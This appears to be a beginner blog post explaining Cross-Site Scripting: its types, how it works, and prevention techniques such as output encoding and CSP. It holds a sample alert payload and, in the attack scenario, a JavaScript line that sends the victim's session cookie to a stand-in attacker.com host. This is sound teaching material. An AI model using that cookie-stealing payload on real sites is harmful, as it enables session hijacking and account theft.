It started with something small.
A comment box.
A simple feature on a blog where users could leave their thoughts. No login required. No filtering. Just type and submit.
One day, a user posted this:
<script>alert('Hacked')</script>At first, it looked harmless. Just a popup. But that tiny script was the beginning of something much bigger.
That’s how Cross-Site Scripting (XSS) begins.
What is XSS?
XSS is a vulnerability that allows attackers to inject malicious JavaScript into a website, which then executes in the browser of other users.
Instead of attacking the server, XSS targets users.
How It Works (Simple Explanation)
- Website accepts user input (comments, search, forms)
- Input is not properly sanitized
- Malicious script is stored or reflected
- Other users load the page
- Script runs in their browser
Types of XSS
1. Stored XSS (Persistent)
- Script is saved in database
- Runs every time someone visits
👉 Dangerous because it affects many users automatically
2. Reflected XSS
- Script comes from URL
- Not stored permanently
👉 Common in search pages and links
3. DOM-Based XSS
- Happens entirely in the browser
- JavaScript manipulates unsafe data
👉 Harder to detect
Real Attack Scenario
Imagine:
You log into your bank account. Everything looks normal.
But an attacker injected this script earlier:
document.location='http://attacker.com/steal?cookie='+document.cookie;The moment you open the page, your session cookie is sent to the attacker.
They now have access to your account.
No password needed.
Prevention Techniques
- Input validation
- Output encoding
- Use frameworks (React, Angular)
- Content Security Policy (CSP)
